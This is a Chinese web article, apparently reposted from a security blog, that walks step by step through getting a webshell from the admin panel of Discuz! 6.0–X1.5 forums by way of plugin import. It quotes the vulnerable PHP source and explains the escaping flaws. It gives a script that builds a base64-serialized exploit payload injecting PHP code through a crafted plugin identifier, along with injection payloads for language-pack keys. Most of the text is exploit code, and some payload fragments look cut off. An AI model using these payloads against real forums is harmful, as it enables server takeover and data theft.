欢迎光临
我们一直在努力

Discuz!后台得到Webshell全过程,站长须防范

建站超值云服务器,限时71元/月

今天烈火小编在订阅的博客中发现了《Discuz!后台怎么拿到Webshell》一文,看来黑客是无孔不入的,那么作为站长和网管,我们怎么进行防范呢?首先我们需要了解discuz的漏洞,了解得到webshell的过程。下面来看原文:

既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。

一 Discuz! 6.0 和 Discuz! 7.0
既然要后台拿Shell,文件写入必看。

/include/cache.func.php

function writetocache($script, $cachenames, $cachedata = ”, $prefix = ‘cache_’) {

global $authkey;

if(is_array($cachenames) && !$cachedata) {

foreach($cachenames as $name) {

$cachedata .= getcachearray($name, $script);

}

}

$dir = DISCUZ_ROOT.’./forumdata/cache/’;

if(!is_dir($dir)) {

@mkdir($dir, 0777);

}

if($fp = @fopen(“$dir$prefix$script.php”, ‘wb’)) {

fwrite($fp, “<?php\n//Discuz! cache file, DO NOT modify me!”.

“\n//Created: “.date(“M j, Y, G:i”).

“\n//Identify: “.md5($prefix.$script.’.php’.$cachedata.$authkey).”\n\n$cachedata?>”);

fclose($fp);

} else {

exit(‘Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .’);

}

}

往上翻,找到调用函数的地方.都在updatecache函数中.

if(!$cachename || $cachename == ‘plugins’) {

$query = $db->query(“SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins”);

while($plugin = $db->fetch_array($query)) {

$data = array_merge($plugin, array(‘modules’ => array()), array(‘vars’ => array()));

$plugin[‘modules’] = unserialize($plugin[‘modules’]);

if(is_array($plugin[‘modules’])) {

foreach($plugin[‘modules’] as $module) {

$data[‘modules’][$module[‘name’]] = $module;

}

}

$queryvars = $db->query(“SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid=’$plugin[pluginid]‘”);

while($var = $db->fetch_array($queryvars)) {

$data[‘vars’][$var[‘variable’]] = $var[‘value’];

}

//注意

writetocache($plugin[‘identifier’], ”, “\$_DPLUGIN[‘$plugin[identifier]‘] = “.arrayeval($data), ‘plugin_’);

}

}

如果我们可以控制$plugin[‘identifier’]就有机会,它是plugins表里读出来的.
去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.
但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.

/admin/plugins.inc.php

if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {

if(!$newname) {

cpmsg(‘plugins_edit_name_invalid’);

}

$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’$newidentifier’ LIMIT 1″);

//下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符

if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {

cpmsg(‘plugins_edit_identifier_invalid’);

}

$db->query(“INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES (‘”.dhtmlspecialchars(trim($newname)).”‘, ‘$newidentifier’, ’0′)”);

}

//写入缓存文件

updatecache(‘plugins’);

updatecache(‘settings’);

cpmsg(‘plugins_edit_succeed’, ‘admincp.php?action=pluginsconfig’);

还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.

elseif(submitcheck(‘importsubmit’)) {

$plugindata = preg_replace(“/(#.*\s+)*/”, ”, $plugindata);

$pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);

//解码后没有判定

if(!is_array($pluginarray) || !is_array($pluginarray[‘plugin’])) {

cpmsg(‘plugins_import_data_invalid’);

} elseif(empty($ignoreversion) && strip_tags($pluginarray[‘version’]) != strip_tags($version)) {

cpmsg(‘plugins_import_version_invalid’);

}

$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’{$pluginarray[plugin][identifier]}’ LIMIT 1″);

//判断是否重复,直接入库

if($db->num_rows($query)) {

cpmsg(‘plugins_import_identifier_duplicated’);

}

$sql1 = $sql2 = $comma = ”;

foreach($pluginarray[‘plugin’] as $key => $val) {

if($key == ‘directory’) {

//compatible for old versions

$val .= (!empty($val) && substr($val, -1) != ‘/’) ? ‘/’ : ”;

}

$sql1 .= $comma.$key;

$sql2 .= $comma.’\”.$val.’\”;

$comma = ‘,’;

}

$db->query(“INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)”);

$pluginid = $db->insert_id();

foreach(array(‘hooks’, ‘vars’) as $pluginconfig) {

if(is_array($pluginarray[$pluginconfig])) {

foreach($pluginarray[$pluginconfig] as $config) {

$sql1 = ‘pluginid’;

$sql2 = ‘\”.$pluginid.’\”;

foreach($config as $key => $val) {

$sql1 .= ‘,’.$key;

$sql2 .= ‘,\”.$val.’\”;

}

$db->query(“INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)”);

}

}

}

updatecache(‘plugins’);

updatecache(‘settings’);

cpmsg(‘plugins_import_succeed’, ‘admincp.php?action=pluginsconfig’);

}

#p#副标题#e#随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.
/forumdata/cache/plugin_shell.php

<?php

//Discuz! cache file, DO NOT modify me!

//Created: Mar 17, 2011, 16:56

//Identify: 7c0b5adeadf5a806292d45c64bd0659c

$_DPLUGIN[‘shell’] = array (

‘pluginid’ => ’11′,

‘available’ => ’0′,

‘adminid’ => ’0′,

‘name’ => ‘Getshell’,

‘identifier’ => ‘shell’,

‘datatables’ => ”,

‘directory’ => ”,

‘copyright’ => ”,

‘modules’ =>

array (

),

‘vars’ =>

array (

),

)?>

我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.

/forumdata/cache/plugin_a’]=phpinfo();$a[‘a.php

<?php

//Discuz! cache file, DO NOT modify me!

//Created: Mar 17, 2011, 16:56

//Identify: 7c0b5adeadf5a806292d45c64bd0659c

$_DPLUGIN[‘a’]=phpinfo();$a[‘a’] = array (

‘pluginid’ => ’11′,

‘available’ => ’0′,

‘adminid’ => ’0′,

‘name’ => ‘Getshell’,

‘identifier’ => ‘shell’,

‘datatables’ => ”,

‘directory’ => ”,

‘copyright’ => ”,

‘modules’ =>

array (

),

‘vars’ =>

array (

),

)?>

最后是编码一次,给成Exp:

<?php

$a = unserialize(base64_decode(“YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw

IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo

ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj

cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6

ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3

OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7

fQ==”));

//print_r($a);

$a[‘plugin’][‘name’]=’GetShell’;

$a[‘plugin’][‘identifier’]=’a\’]=phpinfo();$a[\”;

print(base64_encode(serialize($a)));

?>

7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选”允许导入不同版本 Discuz! 的插件”
#p#副标题#e#

二 Discuz! 7.2 和 Discuz! X1.5

以下以7.2为例

/admin/plugins.inc.php

elseif($operation == ‘import’) {

if(!submitcheck(‘importsubmit’) && !isset($dir)) {

/*未提交前表单神马的*/

} else {

if(!isset($dir)) {

//导入数据解码

$pluginarray = getimportdata(‘Discuz! Plugin’);

} elseif(!isset($installtype)) {

/*省略一部分*/

}

//判定你妹啊,两遍啊两遍

if(!ispluginkey($pluginarray[‘plugin’][‘identifier’])) {

cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);

}

if(!ispluginkey($pluginarray[‘plugin’][‘identifier’])) {

cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);

}

if(is_array($pluginarray[‘hooks’])) {

foreach($pluginarray[‘hooks’] as $config) {

if(!ispluginkey($config[‘title’])) {

cpmsg(‘plugins_import_hooks_title_invalid’, ”, ‘error’);

}

}

}

if(is_array($pluginarray[‘vars’])) {

foreach($pluginarray[‘vars’] as $config) {

if(!ispluginkey($config[‘variable’])) {

cpmsg(‘plugins_import_var_invalid’, ”, ‘error’);

}

}

}

$langexists = FALSE;

//你有张良计,我有过墙梯

if(!empty($pluginarray[‘language’])) {

@mkdir(‘./forumdata/plugins/’, 0777);

$file = DISCUZ_ROOT.’./forumdata/plugins/’.$pluginarray[‘plugin’][‘identifier’].’.lang.php’;

if($fp = @fopen($file, ‘wb’)) {

$scriptlangstr = !empty($pluginarray[‘language’][‘scriptlang’]) ? “\$scriptlang[‘”.$pluginarray[‘plugin’][‘identifier’].”‘] = “.langeval($pluginarray[‘language’][‘scriptlang’]) : ”;

$templatelangstr = !empty($pluginarray[‘language’][‘templatelang’]) ? “\$templatelang[‘”.$pluginarray[‘plugin’][‘identifier’].”‘] = “.langeval($pluginarray[‘language’][‘templatelang’]) : ”;

$installlangstr = !empty($pluginarray[‘language’][‘installlang’]) ? “\$installlang[‘”.$pluginarray[‘plugin’][‘identifier’].”‘] = “.langeval($pluginarray[‘language’][‘installlang’]) : ”;

fwrite($fp, “’);

fclose($fp);

}

$langexists = TRUE;

}

/*处理神马的*/

updatecache(‘plugins’);

updatecache(‘settings’);

updatemenu();

/*省略部分代码*/

}

先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.

function getimportdata($name = ”, $addslashes = 1, $ignoreerror = 0) {

if($GLOBALS[‘importtype’] == ‘file’) {

$data = @implode(”, file($_FILES[‘importfile’][‘tmp_name’]));

@unlink($_FILES[‘importfile’][‘tmp_name’]);

} else {

$data = $_POST[‘importtxt’] && MAGIC_QUOTES_GPC ? stripslashes($_POST[‘importtxt’]) : $GLOBALS[‘importtxt’];

}

include_once DISCUZ_ROOT.’./include/xml.class.php’;

$xmldata = xml2array($data);

if(!is_array($xmldata) || !$xmldata) {

//向下兼容

if($name && !strexists($data, ‘# ‘.$name)) {

if(!$ignoreerror) {

cpmsg(‘import_data_typeinvalid’, ”, ‘error’);

} else {

return array();

}

}

$data = preg_replace(“/(#.*\s+)*/”, ”, $data);

$data = unserialize(base64_decode($data));

if(!is_array($data) || !$data) {

if(!$ignoreerror) {

cpmsg(‘import_data_invalid’, ”, ‘error’);

} else {

return array();

}

}

} else {

//XML解析

if($name && $name != $xmldata[‘Title’]) {

if(!$ignoreerror) {

cpmsg(‘import_data_typeinvalid’, ”, ‘error’);

} else {

return array();

}

}

$data = exportarray($xmldata[‘Data’], 0);

}

if($addslashes) {

//daddslashes在两个版本的处理导致了Exp不能通用.

$data = daddslashes($data, 1);

}

return $data;

}

#p#副标题#e#判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……
我们只要控制scriptlangstr或者其它任何一个就可以了。

function langeval($array) {

$return = ”;

foreach($array as $k => $v) {

//Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号

$k = str_replace(“‘”, ”, $k);

//下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?

$return .= “\t’$k’ => ‘”.str_replace(array(“\\’”, “‘”), array(“\\\’”, “\’”), stripslashes($v)).”‘,\n”;

}

return “array(\n$return);\n\n”;

}

Key这里不通用.

7.2

function daddslashes($string, $force = 0) {

!defined(‘MAGIC_QUOTES_GPC’) && define(‘MAGIC_QUOTES_GPC’, get_magic_quotes_gpc());

if(!MAGIC_QUOTES_GPC || $force) {

if(is_array($string)) {

foreach($string as $key => $val) {

$string[$key] = daddslashes($val, $force);

}

} else {

$string = addslashes($string);

}

}

return $string;

}

X1.5

function daddslashes($string, $force = 1) {

if(is_array($string)) {

foreach($string as $key => $val) {

unset($string[$key]);

//过滤了key

$string[addslashes($key)] = daddslashes($val, $force);

}

} else {

$string = addslashes($string);

}

return $string;

}

#p#副标题#e#还是看下shell.lang.php的文件格式.

<?php

$scriptlang[‘shell’] = array(

‘a’ => ’1′,

‘b’ => ’2′,

);

?>

7.2版本没有过滤Key,所以直接用\废掉单引号.
X1.5,单引号转义后变为\’,再被替换一次’,还是留下了\

而$v在两个版本中过滤相同,比较通用.

X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件

$v通用Exp:

”>

#p#副标题#e#7.2 Key利用

1);phpinfo();?>]]>

X1.5

1);phpinfo();?>]]>

如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.

赞(0)
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » Discuz!后台得到Webshell全过程,站长须防范
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址